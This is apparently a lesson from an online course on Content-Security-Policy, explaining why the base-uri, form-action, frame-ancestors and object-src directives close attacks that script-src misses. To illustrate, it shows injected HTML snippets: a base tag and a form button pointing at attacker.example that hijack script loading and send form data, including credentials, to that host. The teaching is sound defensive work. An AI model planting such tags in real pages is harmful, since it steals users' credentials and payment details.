← The ten steps · Step 9 of 10 · 5 minutes
The four everyone forgets
Four lines. Four attacks that a perfect script-src does nothing about. This
is the highest value-per-character in the whole specification.
base-uri 'none'
An injected <base href="https://attacker.example/"> changes where every relative URL
resolves — including your own script tags:
<base href="https://attacker.example/"> <script nonce="r4nd0m" src="app.js"></script>
That script carries a valid nonce, so script-src admits it, and it now loads from the
attacker. A <base> tag is not a script, so no script directive applies. Only
base-uri does, and it does not inherit from default-src.
This is the cheapest way to defeat an otherwise excellent nonce-based policy, and almost nothing
legitimately needs a <base> tag.
form-action 'self'
A button inside a form can carry its own destination:
<button formaction="https://attacker.example/collect">Confirm</button>
When clicked, that overrides the form's action and posts everything in the form — card
details, credentials, whatever it is — somewhere else. It is not a script, not an inline handler and not
a navigation, so nothing in script-src or connect-src touches it.
See it happen: Form hijacking
Form hijacking is the one people find hardest to believe, because no script is involved. Watch a form post somewhere it should not, then watch form-action stop it.
Run it with no policy ↗Run the same page protected ↗
Identical page both times — the only difference is the Content-Security-Policy header. On the Report URI demo site.
frame-ancestors 'none'
Without it, anyone can frame your page and clickjack it: your real UI, invisible, under their bait.
This directive supersedes X-Frame-Options, and unlike XFO it can list several origins:
frame-ancestors 'self' https://partner.example.com
Worth noting that it is one of the directives a <meta>-delivered policy silently
ignores. If you deliver CSP by meta tag, this is not protecting you.
object-src 'none'
<object> and <embed> can load plugin content and, historically,
execute it. It does inherit from default-src in current browsers, but it did not in CSP1 or
CSP2, and there is essentially no site left that needs it. Say it explicitly and stop thinking about
it.
The line
base-uri 'none'; form-action 'self'; frame-ancestors 'none'; object-src 'none'
Add that to any policy. On the overwhelming majority of sites it costs nothing, breaks nothing, and closes a base-tag hijack, a form redirection, clickjacking and plugin execution. If you take one thing from this course after report-only mode, take this line.
Why they are missed
Because default-src feels like it covers everything, and it reads like a default. It is
a fallback for fetch directives only — for things the page loads. None of these four describe a
fetch, so none of them inherit. Unset does not mean "restricted like default-src"; it means
unrestricted.
You can do this now
Look at your policy. Count how many of those four are in it. If the answer is fewer than four, you have found something worth fixing today — and unlike most CSP work, this one needs no report data and no rollout.